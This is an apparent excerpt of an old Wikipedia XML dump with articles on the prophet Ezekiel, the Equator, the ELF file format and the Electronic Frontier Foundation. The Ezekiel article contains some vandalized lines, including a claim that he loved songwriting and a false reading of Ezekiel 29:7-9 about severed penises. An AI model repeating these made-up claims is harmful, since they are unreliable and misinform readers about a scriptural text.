[[Image:Ezekiel.jpg|300px|right|thumb|Ezekiel the Prophet of the Hebrew Scriptures is depicted on a 1510 Sistine Chapel fresco by Michelangelo.]]
'''Ezekiel''' or '''Yechezkel''' ('''&amp;#1497;&amp;#1456;&amp;#1495;&amp;#1462;&amp;#1494;&amp;#1456;&amp;#1511;&amp;#1461;&amp;#1488;&amp;#1500;''' &quot;[[Elohim|God]] will strengthen&quot;, [[Standard Hebrew]] '''Y&amp;#601;&amp;#7717;ezqel''', [[Tiberian Hebrew]] '''Y&amp;#601;&amp;#7717;ezqêl''') was a [[prophet]] in the [[Tanakh|Hebrew Bible]], commonly regarded as the author of the biblical [[Book of Ezekiel]]. While Ezekiel is not mentioned by name in the [[Qur'an]], most [[Islamic]] scholars believe that the epithet [[Dhul-Kifl]], who is mentioned, refers to him.

The [[Book of Ezekiel]] gives little detail about his life. In it, he is mentioned only twice by name: 1:3 and 24:24. He is the son of Buzi the priest, and his name means &quot;God will strengthen&quot;. He was one of the [[Israelites|Israelite]] exiles, who settled at a place called Tel-Abib, on the banks of the Chebar, &quot;in the land of the [[Chaldea]]ns.&quot; The place is thus not identical to the modern city [[Tel Aviv]], which however is named after it. He was probably carried away captive with [[Jehoiachin]] (1:2; [[Books of Kings|2 Kings]] 24:14-16) about [[590s BCE|597 BCE]].

On the fifth day of the fourth month in the fifth year of his exile ([[Tammuz (month)|Tammuz]], [[590s BCE|592 BCE]]), he said he beheld on the banks of the Chebar the glory of God, who consecrated him as a prophet. The latest date in his book is the first day of the first month in the twenty-seventh year of his exile (Nisan, [[570s BCE|570 BCE]]); consequently, his prophecies extended over twenty-two years.

== Introduction ==

Ezekiel is a prophet who was instructed to [[act]] his prophesies.  He was a prophet who loved [[drama]] and [[songwriting]] unlike the other prophets.  He would sometimes do unbelievable things such as taking a potter's [[flask]] and smashing it to symbolize that Jerusalem will be destroyed and the people in Jerusalem will be scattered to the winds. His name means &quot;Whom makes God strong.&quot; 

The elders of the exiles repeatedly visited him to obtain a divine oracle (chapters 8, 14, 20). He exerted no permanent influence upon his contemporaries, however, whom he repeatedly calls the &quot;rebellious house&quot; (2:5, 6, 8; 3:9, 26, 27; and elsewhere), complaining that although they flock in great numbers to hear him they regard his discourse as a sort of aesthetic amusement, and fail to act in accordance with his words (33:30-33). If the enigmatical date, &quot;the thirtieth year&quot; (1:1), be understood to apply to the age of the prophet, Ezekiel was born exactly at the time of the reform in the ritual introduced by [[Josiah]]. Concerning his death nothing is known.

He had a house in the place of his exile, where he lost his wife, in the ninth year of his exile, by some sudden and unforeseen stroke (Ezek. 8:1; 24:18).

His ministry extended over twenty-three years [[590s BCE|595]] - [[570s BCE|573 BCE]] (29:17), during part of which he was contemporary with [[Jeremiah (prophet)|Jeremiah]], and probably also with [[Obadiah]]. According to tradition, he would also have been contemporary with [[Daniel]] (however, Daniel is regarded by some as being written much later, with Ezekiel's references to &quot;Daniel&quot; being seen as references to an ancient Ugaritic hero of that name, not a contemporary). The time and manner of his death are unknown. His reputed tomb is pointed out in the neighbourhood of [[Baghdad]], at a place called Keffil.

After being led away by the [[Babylonians]] somewhere between 597 and 596, Ezekiel, along with the other Israelites, was resettled in [[Babylon]]. Ezekiel himself lived in his own home in exile at Tel Abib near Chebar Canal ( [http://www.biblegateway.com/passage/?search=ezekiel%203:15;&amp;version=49; 3:15]), which was near [[Nippur]] in [[Babylonia]].

Generally speaking, life was good in captivity. Unlike their ancestors who were enslaved by [[Egypt]] before being led to their land by Moses, the Jews of Ezekiel's time were able to become part of the society they found themselves in.  The Israelite Exiles were told by Jeremiah to not worship the foreign gods, but he told them that they could become part of the Babylonian Culture. They did this well, often being called upon by the Babylonians to complete projects using their skills as artisans.

Unlike other enemies, the [[Babylonian]]s allowed the Jewish people to settle in small groups.

While keeping their religious and national identities, many Jewish people did start to settle into their new environment. From building homes to opening businesses, the Jews seemed to settle into their exile land for the long haul.

This growing comfort in [[Babylon]] helps to explain why so many Jewish people decided not to return to their land. Many people would have been born in exile and would know nothing of their old land, so when the opportunity came for them to reclaim the land that was taken from them, many decided not to leave the Babylonian land they knew. This large group of people who decided to stay are known to be the oldest of the [[Diaspora]] communities along with the Jews of [[Iran|Persia]].

== His mission ==

With the Exile, monarchy and state were annihilated, and a political and national life was no longer possible. In the absence of a worldly foundation it became necessary to build upon a spiritual one. This mission Ezekiel performed by observing the signs of the time and by deducing his doctrines from them. In conformity with the two parts of his book his personality and his preaching are alike twofold. The events of the past must be explained. Although God has permitted His city and Temple to be destroyed and His people to be led into exile, yet God has by this inaction betrayed no sign of impotency or weakness; Ezekiel asserts that God was compelled to do it because of the sins of the people. Nevertheless, there is no reason to despair for God does not desire the death of the sinner, but his reformation. The Lord will remain the God of Israel, and Israel will remain His people. As soon as Israel recognizes the sovereignty of the Lord and acts accordingly, God will restore the people, in order that they may fulfil their eternal mission and that He may truly dwell in the midst of them. This, however, can not be accomplished until every individual reforms and makes the will of the Lord his law.

== Ezekiel's personality ==

Herein lies the [[individualism|individualistic]] tendency which distinguishes him from his predecessors. He conceives it as his prophetic mission to strive to reach his brethren and compatriots individually, to follow them, and to win them back to God; and he considers himself personally responsible for every individual [[soul]]. Those redeemed were to form the congregation of the new Temple, and to exemplify by their lives the truth of the word that Israel was destined to become a &quot;kingdom of priests&quot; ([[Exodus]] 19:6). Law and worship--these are the two focal points of Ezekiel's hope for the future. The people become a congregation; the nation, a religious fraternity. Political aims and tasks no longer exist; and monarchy and state have become absorbed in the pure dominion of God. Thus Ezekiel has stamped upon post-exilic Judaism its peculiar character; and herein lies his unique religio-historical importance.

Yet Another feature of Ezekiel's personality is the pathological. With no other prophet are vision and [[Religious ecstasy|ecstasy]] so prominent; and he repeatedly refers to symptoms of severe maladies, such as paralysis of the limbs and of the tongue (3:25 et seq.), and the cutting off of [[erection|erect]] [[penis]]es (29:7-9), from which infirmities he is relieved only upon the announcement of the downfall of Jerusalem (24:27, 33:22). 

Ezekiel also exhibits one of the most down to earth and bawdy attitudes of all the biblical authors, referring to the remembrances of a [[whore]] in a notorious passage (23:20) recounting her past lovers who were as [[penis size|well hung]] ''as donkeys'' and whose [[ejaculate]] was ''like the issue of horses''.

== Ezekiel in Jewish literature ==

Ezekiel, like Jeremiah, is said to have been a descendant of Joshua by his marriage with the proselyte Rahab ([[Talmud]] Meg. 14b; [[Midrash]] Sifre, Num. 78). Some even say that he was Jeremiah or the son of Jeremiah, who was (also) called &quot;Buzi&quot; because he was despised by the Jews. He was already active as a prophet while in Palestine, and he retained this gift when he was exiled with Jehoiachin and the nobles of the country to Babylon ([[Josephus]], ''Ant.'' x. 6, § 3: &quot;while he was still a boy&quot;; comp. Rashi on Sanh. 92b, above).

Although in the beginning of the book he very describes the appearance of the throne of God, this is not due to the fact that he had seen more than Isaiah, but because the latter was more accustomed to such visions; for the relation of the two prophets is that of a courtier to a peasant, the latter of whom would always describe a royal court more floridly than the former, to whom such things would be familiar (&amp;#7716;ag. 13b). Ezekiel, like all the other prophets, has beheld only a blurred reflection of the divine majesty, just as a poor mirror reflects objects only imperfectly (Midrash Lev. Rabbah i. 14, toward the end).

According to midrash ''Canticles Rabbah'', it was Ezekiel whom the three pious men, Hananiah, Mishael, and Azariah, (Shadrach, Miesheck, and Obednigo in Christian Bibles) asked for advice as to whether they should resist Nebuchadnezzar's command and choose death by fire rather than worship his [[idolatry|idol]]. At first God revealed to the prophet that they could not hope for a miraculous rescue; whereupon the prophet was greatly grieved, since these three men constituted the &quot;remnant of Judah&quot;. But after they had left the house of the prophet, fully determined to sacrifice their lives to God, Ezekiel received this revelation: &quot;Thou dost believe indeed that I will abandon them. That shall not happen; but do thou let them carry out their intention according to their pious dictates, and tell them nothing&quot; (Midrash Canticles Rabbah vii. 8).

== Resurrection of the dead ==

Ezekiel's greatest miracle consisted in his resuscitation of the dead, which is recounted in chapter 37 of the Book of Ezekiel. There are different traditions as to the fate of these men, both before and after their resurrection, and as to the time at which it happened. Some say that they were godless people, who in their lifetime had denied the resurrection, and committed other sins; others think they were those [[Tribe of Ephraim|Ephraimites]] who tried to escape from [[Egypt]] before Moses and perished in the attempt. There are still others who maintain that after [[Nebuchadnezzar II of Babylon|Nebuchadnezzar]] had carried the beautiful youths of [[Kingdom of Judah|Judah]] to [[Babylon]], he had them executed and their bodies mutilated, because their beauty had entranced the [[Babylon]]ian women, and that it was these youths whom Ezekiel called back to life.

The miracle was performed on the same day on which the three men were cast into the fiery furnace; namely, on the Sabbath and the Day of Atonement (Cant. R. vii. 9). Nebuchadnezzar, who had made a drinking-cup from the skull of a murdered Jew, was greatly astonished when, at the moment that the three men were cast into the furnace, the bodies of the dead boys moved, and, striking him in the face, cried 
out: &quot;The companion of these three men revives the dead!&quot; (see a [[Karaite]] record of this episode in Judah Hadasi's &quot;Eshkol ha-Kofer,&quot; 45b, at foot; 134a, end of the section). When the boys awakened from death, they rose up and joined in a song of praise to God for the miracle vouchsafed to them; later, they went to Palestine, where they married and reared children.

As early as the second century, however, some authorities declared this resurrection of the dead was a prophetic vision: an opinion regarded by [[Maimonides]] (''Guide for the Perplexed'', II:46) and his followers as the only rational explanation of the Biblical passage.

== Ezekiel the Tragedian ==

There was another ancient Jewish Ezekiel, other than the one discussed above, who according to [[Eusebius]] wrote Greek [[tragedy|tragedies]] on biblical matters, including one called ''Exagoge'', recounting the Exodus, of which fragments have survived.

== Ezekiel and Other Faiths ==
Some [[Islam|Muslims]] believe that Ezekiel may be [[Dhul-Kifl]], a figure who is mentioned in the following Qur'anic verse:

&quot;And (remember) Ismail (Ishmael) and Idris (Enoch) and Dhul-Kifl, all were from among those who observe patience.&quot; (Surah 21: 85-86)

Other Muslims believe Dhul-Kifl may be the same person as [[Gautama Buddha]], taking 'Kifl' to be the Arabic pronunciation of Kapilvastu, a place where he spent 30 years of his life, and use this as evidence to describe the Buddha as a prophet.

== See also ==
*[[Book of Ezekiel]], a book in the [[Tanakh|Hebrew (Tanakh)]] and [[bible|Christian]] Bibles.
*[[List of names referring to El]].

[[Category:Christian eschatology]]
[[Category:Christian prophets]]
[[Category:Tanakh prophets]]

[[ca:Ezequiel]]
[[de:Ezechiel]]
[[es:Ezequiel]]
[[fr:Ézéchiel]]
[[he:יחזקאל]]
[[no:Esekiel]]
[[ru:Иезекииль]]
[[sl:Ezekiel]]
[[fi:Hesekiel]]</text>
    </revision>
  </page>
  <page>
    <title>Equator</title>
    <id>9912</id>
    <revision>
      <id>42033819</id>
      <timestamp>2006-03-03T09:50:12Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Pole]] to [[Geographical pole]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:WorldMapLongLat-special-lats-emph-Equator-non.png|450px|thumb|]]

The '''equator''' is an imaginary [[circle]] drawn around a [[planet]] (or other [[astronomical object]]) at a distance halfway between the [[Geographical pole|pole]]s. The equator divides the planet into a [[Northern Hemisphere]] and a [[Southern Hemisphere]]. The [[latitude]] of the equator is, by definition, 0&amp;deg;. The length of [[Earth]]'s equator is about 40,075.0 [[kilometre|km]], or 24,901.5 [[mile|miles]].

The equator is one of the five main [[circles of latitude]] based on the relationship of the Earth's [[rotation]] and plane of [[orbit]] around the sun.  Additionally, the equator is the only line of latitude which is also a [[great circle]].

The [[Sun]], in its [[season]]al movement through the sky, passes directly over the equator twice each [[year]] on the [[vernal point|Vernal]] and [[autumnal equinox|Autumnal]] [[Equinox]]es, which occur in March and September respectively.  At the equator, the rays of the sun are [[perpendicular]] to the surface of the earth on these dates.

Places near the equator experience the quickest rates of [[sunrise]] and [[sunset]] in the world, taking minutes.  Such places also have a relatively constant amount of day/night time on every day throughout the year compared with more northerly or southerly places.

== Equatorial climate ==
In many [[Tropics|tropical]] regions people identify two [[season]]s, wet and dry, but most places very close to the equator are wet throughout the year, although seasons can vary depending on a variety of factors including elevation and proximity to an [[ocean]].

[[Image:equator_sign.JPG|right|thumb|250px|In tourist areas, the equator is often marked on the sides of roads]]

The surface of the Earth at the equator is mainly [[ocean]].

The highest point on the Equator is 4,690 m, at [http://kvaleberg.com/extensions/mapsources/index.php?params=00_00_00_S_77_59_31_W_region:EC_scale:100.000 &lt;span style=&quot;white-space:nowrap&quot;&gt;77°59′31&quot; W&lt;/span&gt;] on the south slopes of [[Cayambe (volcano)|Volcán Cayambe]] (summit 5,790 m) in [[Ecuador]]. This is a short distance above the [[snow]] line, and is the only point on the Equator where snow lies on the ground ([[Google Earth]] satellite data and photos).

== Equatorial countries ==
The equator traverses the land and/or water of 13 [[country|countries]] in total:

* [[São Tomé and Príncipe]] - passing through [[Ilhéu das Rolas]], an [[islet]] in this archipelago
* [[Gabon]]
* [[Republic of the Congo]]
* [[Democratic Republic of Congo]]
* [[Uganda]] - including some islets in [[Lake Victoria]]
* [[Kenya]]
* [[Somalia]]
* [[Maldives]] - misses every [[island]], passing between [[Gaafu Dhaalu Atoll]] and [[Gnaviyani Atoll]]
* [[Indonesia]] - crosses many islands, most notably [[Sumatra]], [[Borneo]], [[Sulawesi]], and [[Halmahera]]
* [[Kiribati]] - misses every island, passing between [[Aranuka]] and [[Nonouti]] Atolls in the [[Gilbert Islands]]
* [[Ecuador]] - including [[Isabela Island]] in the [[Galápagos Islands]]
* [[Colombia]]
* [[Brazil]] - including some islands in the mouth of the [[Amazon River]]

== &quot;Crossing the Line&quot; ==
Seafaring tradition maintains that all sailors who cross the equator during a nautical voyage must undergo rites of passage and elaborate rituals initiating them into The Solemn Mysteries of the Ancient Order of the Deep.  These rituals date back to the Middle Ages, though the current ceremonies are most likely derived from [[Viking]] traditions.  Those who have never &quot;crossed the line&quot; are derisively referred to as &quot;pollywogs&quot; or simply &quot;slimy wogs&quot;.  Upon entering the domain of His Royal Majesty, Neptunus Rex, all wogs are subject to various initiation rituals performed by those members of the crew who have made the journey before. Upon completion of the initiation ceremony, the wogs are then known as &quot;trusty Shellbacks&quot;. If the crossing of the equator is done at the [[180th meridian]], the title of &quot;Golden Shellback&quot; is conferred, recognizing the simultaneous entry into the realm of the Golden Dragon. If the crossing occurs at the Greenwich or [[Prime Meridian]], the sailor is considered to be an &quot;Emerald Shellback&quot;.

== See also ==
* [[Thermal equator]]
{{Commons2|Equator}}

&lt;!-- [[category:astronomy]] too general --&gt;
[[Category:Lines of latitude]]
[[Category:Spherical astronomy]]

[[als:Äquator]]
[[ar:خط الاستواء]]
[[bg:Екватор]]
[[zh-min-nan:Chhiah-tō]]
[[bs:Ekvator]]
[[ca:Línia equatorial]]
[[cs:Rovník]]
[[cy:Cyhydedd]]
[[da:Geografisk ækvator]]
[[de:Äquator]]
[[et:Ekvaator]]
[[es:Línea ecuatorial]]
[[eo:Ekvatoro]]
[[fr:Équateur (ligne équinoxiale)]]
[[fy:Evener]]
[[gl:Ecuador terrestre]]
[[io:Equatoro]]
[[id:Khatulistiwa]]
[[is:Miðbaugur]]
[[he:קו המשווה]]
[[lt:Pusiaujas]]
[[hu:Egyenlítő]]
[[ms:Garisan Khatulistiwa]]
[[nl:Evenaar]]
[[ja:赤道]]
[[no:Ekvator]]
[[nn:Ekvator]]
[[pl:Równik]]
[[pt:Linha do Equador]]
[[ru:Экватор]]
[[sh:Ekvator]]
[[simple:Equator]]
[[sk:Rovník]]
[[sl:Ekvator]]
[[sr:Екватор]]
[[fi:Päiväntasaaja]]
[[sv:Ekvatorn]]
[[tl:Ekwador]]
[[th:เส้นศูนย์สูตร]]
[[vi:Xích đạo]]
[[tr:Ekvator]]
[[zh:赤道]]</text>
    </revision>
  </page>
  <page>
    <title>ELF file format</title>
    <id>9913</id>
    <revision>
      <id>15907767</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Executable and Linkable Format]]
</text>
    </revision>
  </page>
  <page>
    <title>Executable and Linkable Format</title>
    <id>9914</id>
    <revision>
      <id>40464121</id>
      <timestamp>2006-02-20T19:20:28Z</timestamp>
      <contributor>
        <ip>200.11.242.33</ip>
      </contributor>
      <comment>/* External links */ +es</comment>
      <text xml:space="preserve">In [[computing]], the '''Executable and Linkable Format''' ('''ELF''', née '''Extensible Linking Format''') is a common standard [[file format]] for [[executable]]s, [[object code]], [[shared libraries]], and [[core dump]]s.  First published in the  [[System V]] [[application binary interface|Application Binary Interface]] specification, and later in the [[Tool Interface Standard]], it was quickly accepted among different vendors of [[Unix]] systems.

Today the ELF format has replaced the proprietary (or sometimes just platform-specific) or less extensible executable formats (primarily [[a.out (file format)|a.out]] and [[COFF]]) in the [[Linux]], [[Solaris Operating Environment|Solaris]], [[Irix]], and almost all modern [[Berkeley Software Distribution|BSD]] operating systems, with the exception of [[Mac OS X]], which uses [[Mach-O]]. It is also used in the Itanium version of [[OpenVMS]], a non-UNIX based operating system.

Other object code file formats include a.out, COFF, and Mach-O; ELF could be considered a &quot;competitor&quot; to those, although it is generally considered to outperform them.

==ELF file layout==
Each ELF file is made up of one ELF header, followed by zero or more segments and zero or more sections. The segments contain information that is necessary for runtime execution of the file, while sections contain important data for linking and relocation. Each byte in the entire file is taken by no more than one section at a time, but there can be orphan bytes, which are not covered by a section. In the normal case of a UNIX executable one or more sections are enclosed in one segment. The segments and sections of the file are listed in a program header table and section header table respectively.

On many UNIX systems the command

 man elf

may provide some more details.

==Tools==
*&lt;code&gt;readelf&lt;/code&gt; is a UNIX binary utility that displays information about one or more ELF files.  A [[GPL]] implementation is provided by [[GNU Binutils]]
*&lt;code&gt;elfdump&lt;/code&gt; is a Solaris command for viewing ELF information in an elf file.

==See also==
* [[Portable Executable]] (PE)
* [[DWARF]]

==External links==
*[http://x86.ddj.com/ftp/manuals/tools/elf.pdf Tool Interface Standard (TIS) Executable and Linking Format (ELF) Specification Version 1.2]
*[http://www.cs.ucdavis.edu/~haungs/paper/node10.html Description of the ELF binary format]
*Article &quot;[http://developers.sun.com/solaris/articles/elf.html LibElf and GElf - A Library to Manipulate ELF Files]&quot; by [[Neelakanth Nadgir]]
*[http://www.mr511.de/software/english.html free ELF object file access library]
*[http://www.dac.neu.edu/cgi-bin/man-cgi?elf manual page]
*[http://ou800doc.caldera.com/en/man/html.3elf/CONTENTS.html Elf library routines]
*[http://elfio.sourceforge.net/ ELFIO: a C++ library for reading and generating files in the ELF binary format.]
*[http://www.cs.dartmouth.edu/~cs38/local/teensy.html &quot;A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux&quot;]
*[http://www-128.ibm.com/developerworks/power/library/pa-spec12/?ca=dgr-lnxw41ELFHero An unsung hero: The hardworking ELF]

[[Category:Executable file formats]]

[[de:Executable and Linking Format]]
[[es:Executable and Linkable Format]]
[[fr:Executable and Linking Format]]
[[pl:Executable and Linkable Format]]</text>
    </revision>
  </page>
  <page>
    <title>Extremely Low Frequencies</title>
    <id>9915</id>
    <revision>
      <id>15907769</id>
      <timestamp>2004-05-27T20:15:43Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Extremely low frequency]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic Frontier Foundation</title>
    <id>9916</id>
    <revision>
      <id>42058431</id>
      <timestamp>2006-03-03T14:46:46Z</timestamp>
      <contributor>
        <username>Dposse</username>
        <id>421060</id>
      </contributor>
      <text xml:space="preserve">[[Image:Blueribbon.png|right|thumb|112px|The EFF uses the blue ribbon as symbolism for their Free Speech defense.]]
The '''Electronic Frontier Foundation''' ('''EFF''') is a [[non-profit organization|non-profit]] advocacy and legal [[organization]] based in the [[United States]] with the stated purpose of being dedicated to preserving free speech rights such as those protected by the [[First Amendment to the United States Constitution]] in the context of today's [[digital]] age.  Its stated main goal is to educate the press, policymakers and the general public about [[civil liberties]] issues related to technology; and to act as a defender of those liberties.  The EFF is a membership organisation supported by donations and is based in [[San Francisco]], [[California]], with staff members in [[Toronto]], [[Ontario]] and [[London]], [[United Kingdom|UK]].
EFF has taken action in several ways: 
*providing or funding legal defence in court
*defending the individual and new technologies from the [[chilling effect]]s of baseless or misdirected legal threats
*providing guidance to the government and courts
*organizing political action and mass mailings
*supporting new technologies which it believes preserve personal [[freedom]]s
*maintaining a database and web sites of related news and information
*monitoring and challenging potential legislation that it believes would infringe on personal liberties and erode [[fair use]]
*soliciting a list of what it considers [[patent abuse]]s with intentions to defeat those that it considers without merit


==History==
[[Image:MitchKapor.jpg|thumb|[[Mitch Kapor]], founder EFF]]
The Electronic Frontier Foundation was founded in July [[1990]] by [[Mitch Kapor]], [[John Gilmore (advocate)|John Gilmore]] and [[John Perry Barlow]]. The founders met through the online service The [[WELL]].

The creation of the organization was motivated by the massive search and seizure on [[Steve Jackson Games]] by the [[United States Secret Service]] early in 1990. Similar but officially unconnected law-enforcement raids were being conducted across the United States at about that time as part of a state-federal task force called [[Operation Sundevil]], but the Steve Jackson Games case, which became EFF's first high-profile case, was the major rallying point when EFF began promoting computer- and Internet-related civil liberties.  EFF's second big case was [[Bernstein v. United States]] led by [[Cindy Cohn]], where programmer and professor [[Daniel Bernstein]] sued the government for permission to publish his [[encryption]] software, [[Snuffle]], and a paper describing it.  More recently the organization has been involved in defending [[Edward Felten]], [[Jon Johansen]] and [[Dmitry Sklyarov]].

The organization was originally located at [[Mitch Kapor]]'s K.E.I. in [[Cambridge, Massachusetts]]. By the fall of [[1993]], the main EFF offices were housed in [[Washington, D.C.]], headed up by [[Jerry Berman]]. During this time, some of EFF's attention focused on the business of influencing national policy, a worthy business, but one perhaps not entirely palatable to parts of the organization. In [[1994]], Mr. Berman parted ways with EFF and formed the [[Center for Democracy and Technology]]. EFF moved offices across town, where Drew Taubman briefly took the reigns as director. In [[1995]], under the auspices of director Lori Fena, after some downsizing and in an effort to regroup and refocus on their base support, the organization moved offices to [[San Francisco, California]]. There, it took up temporary residence at [[John Gilmore (advocate)|John Gilmore]]'s Toad Hall, and soon afterward moved into the Hamm's building at 1550 Bryant St.  After Fena moved onto the EFF board of directors for a while, the organization was led by Tara Lemmey. Just prior to the EFF's move into its new and present offices at 454 Shotwell St. in SF's Mission District, long-time EFF Legal Director Shari Steele became, and remains as of mid-2005, the Executive Director.

===Books and references===
[[Image:John-gilmore.2001.small.png|thumb|[[John Gilmore (advocate)|John Gilmore]], founder EFF]]

Books that cover EFF's history in-depth from a policy and legal cases perspective include: 
*Robert B. Gelman &amp; Stanton McCandlish's ''Protecting Yourself Online: The Definitive Resource on Safety, Freedom &amp; Privacy in Cyberspace''.
*[[Mike Godwin]]'s ''[http://www.amazon.com/gp/product/0262571684/103-2519896-5577451?v=glance&amp;n=283155&amp;n=507846&amp;s=books&amp;v=glance Cyber Rights: Defending Free Speech in the Digital Age'']''.  
*Several other books of the 1990s (Bruce Sterling's ''[http://stuff.mit.edu/hacker/hacker.html The Hacker Crackdown]'', etc.) also go into EFF's activities in some depth.  Their more recent work in the sphere of fair use and the abuse of intellectual property law is better documented at their web site and in periodicals.

Some other references are:

* ''[http://www.law.com/jsp/statearchive.jsp?type=Article&amp;oldid=ZZZKE6G4FDC Electronic Frontier Foundation bulks up, renews focus on litigation]''. An article which recaps EFF's history, details the 2000 transition to Shari Steele's leadership, and discusses the concomitant strategy changes.

==Major supporters==
*On [[February 18]], [[2004]], the EFF announced [http://www.eff.org/about/20040218_eff_pr.php] that it has received $1.2 million from the estate of [[Leonard Zubkoff]]. It will use $1 million of this money to establish the ''EFF Endowment Fund for Digital Civil Liberties''.
*EFF often receives additional [[pro bono]] legal assistance from Prof. [[Eben Moglen]].
*[[Lawrence Lessig]]: EFF boardmember and [[Stanford]] professor
*Board members: [[Brad Templeton]] (Chairman), [[John Perry Barlow]], [[John Gilmore (advocate)|John Gilmore]], [[David Farber]], [[Joe Kraus]], [[Lawrence Lessig]], [[Pamela Samuelson]] and [[Brewster Kahle]].

==Criticisms==
Some feel the EFF prioritizes wholesale changes to law (such as legalizing potentially unauthorized trading of copyrighted files over [[peer-to-peer]] networks, implying some change of the copyright laws) over stopping abuses of the law (such as stopping abusive patents and DMCA complaints).  However, EFF's successes in its defense of Skylink and OPG against DMCA abuse as well as its Patent Busting project demonstrate real efforts to limit abuses of existing law.

Some feel the EFF prioritizes consumer rights at the expense of artists' rights. &lt;!-- example? --&gt;

Some in the anti-[[spam (electronic)|spam]] community criticize the EFF for officially opposing certain anti-spam techniques that do not deliver all wanted messages to the end-user.  The EFF argues that the decision as to what is spam and what is not resides with the recipient, not intermediaries such as ISPs, and that there are efficient spam filters available to the end-user.

Prior to the EFF's defense of ''[[2600: The Hacker Quarterly]]'' magazine in 2001, the hacker community criticized EFF as &quot;[[missing in action]]&quot; with regards to their legal troubles.

==Milestones and accomplishments==
&lt;!-- these need dates and detail... --&gt;
[[Image:Eff.final.jpg|thumb|Print ad in ''Rolling Stone'' magazine]]
*[[1990]]: Founded the organization and laid the groundwork for the successful representation of [[Steve Jackson Games|Steve Jackson Games (SJG)]] in a Federal court case to prosecute the [[United States Secret Service]] for unlawfully raiding their offices and seizing computers.
*[[1990]] [[Mike Godwin]] joins the organization as the first staff counsel. 
*[[1991]] [[Esther Dyson]] and [[Jerry Berman]] join EFF Board
*[[1991]] [[Steve Jackson Games|Steve Jackson Games (SJG)]] v. United States Secret Service filed in federal court.
*[[1992]] EFF gives first annual [[EFF Pioneer Award | Pioneer Awards]] at 2nd [[Computers, Freedom, and Privacy]] conference in [[Washington, DC]]
*[[1992]] Cliff Figallo became the new director of EFF-Cambridge
*[[1992]] December - Jerry Berman becomes Acting Executive Director
*[[1993]] [[Steve Jackson Games|Steve Jackson Games (SJG)]] wins its case against the Secret Service.
*[[1993]] Offices moved to 1001 G. St. office in [[Washington, DC]]
*[[1993]] Big Dummy's guide to the Internet made available for free download. 
*[[1993]] October - [[Stanton McCandlish]] joins the organization as online activist.
*[[1994]] Drew Taubman named Executive Director
*[[1994]] [[Center for Democracy and Technology]] is formed by [[Jerry Berman]]
*[[1994]] [[Scientology versus The Internet]]
*[[1995]] [[Bernstein v. United States]]
*[[1995]] EFF Moves to San Francisco
*[[1995]]-[[1996]] EFF opens its &quot;Blue Ribbon Campaign&quot; in direct response to the [[Communications Decency Act]]
*[[1996]] The EFF co-founds TRUSTe, the first Privacy Seal company, with CommerceNet, a non-profit industry consortium.
*In [[1998]], the EFF built [[Deep Crack]], a machine that decrypted a [[Data Encryption Standard|DES]]-encrypted message after only 56 hours of work, winning [[RSA Security]]'s DES Challenge II-2.
*[[1999]] EFF and Anonymizer launch the Kosovo Privacy Project, an anonymous and secure email and Web surfing service conceived by Alex Fowler and Patrick Ball to ensure the protection of Kosovars, Serbs, and others reporting on the [[Kosovo War]] within the region from reprisal from Serbian officials.
*Professor [[Edward Felten]]: [[DMCA]] used to censor his research to break [[Secure Digital Music Initiative]] (SDMI)
*November [[2002]] *[[2600_The_Hacker_Quarterly|2600]] Magazine case, [[Universal_v._Corley]]. EFF loses its appeal before the U.S. Court of Appeals for the Second Circuit, establishing a legal precedent to permit prior restraint, a stunning blow to the First Amendment. 2600 Magazine is restrained from publishing links to the [[DeCSS]] code under provisions of the [[DMCA]] and declines to appeal to the Supreme Court.
*Supports the [[Chilling Effects Clearinghouse]] efforts to organize a database of IP law abuse and educate potential victims
*December [[2003]]: [[RIAA]] v. [[Verizon]], D.C. Cir. EFF supported Verizon in a successful challenge to a lower court ruling holding that the company must reveal the identity of a [[Verizon]] customer accused of copyright infringement using the [[peer-to-peer]] file-sharing software [[KaZaA]]. The DC Circuit Court of Appeals agreed with [[Verizon]] and EFF that the special subpoena provisions in the [[DMCA]] apply to potentially infringing material stored on an [[internet service provider|ISP]] server, not material stored on an individual's own computer.
*[[2004]]: DirecTV v. Treworgy, 11th Circuit.  EFF helped defend &quot;smart card&quot; technology owner Mike Treworgy after [[DirecTV]] sued him based on the fact that he purchased hardware that could be used to intercept the company's satellite TV signals. Treworgy prevailed in the 11th Circuit Court of Appeals, which found that [[DirecTV]] cannot sue individuals for &quot;mere possession&quot; of smart-card technology. In separate negotiations with [[DirecTV]], EFF succeeded in getting the company to drop its &quot;guilt-by-purchase&quot; litigation strategy altogether.
*[[April 19]], [[2004]]: Initiated the [[Patent Busting Project]] to challenge &quot;illegitimate patents that suppress non-commercial and small business innovation or limit free expression online&quot;
*May [[2004]] [[ACLU v. Ashcroft (2004)|Doe v. Ashcroft]]. Filed amicus supporting ACLU's challenge to the constitutionality of 18 U.S.C. § 2709, which authorizes the FBI to  compel the production of subscriber and communications records in the possession of a broad  range of ISPs, potentially covering billions of records from tens of thousands of entities. These demands, known as National Security Letters, were issued without judicial oversight of any kind, yet allowed the FBI to obtain a vast amount of constitutionally protected information. In September [[2004]], Judge Victor Marrero of the Southern District of New York issued a landmark decision striking down the NSL statute and the associated gag provision. 
*August [[2004]]: [[Chamberlain v. Skylink]].  EFF helped defend Skylink in the [[United States Court of Appeals for the Federal Circuit|Federal Circuit]] that puts limits on the controversial &quot;anti-circumvention&quot; provision of the [[DMCA]]. Chamberlain, the manufacturer of garage doors, invoked the provision to stop Skylink from selling a &quot;universal&quot; remote control that works with Chamberlain garage doors. The court rejected Chamberlain's claims, noting that if it adopted the company's interpretation of the [[DMCA]], it would threaten many legitimate uses of software within electronic and computer products&amp;mdash;something the law aims to protect. 
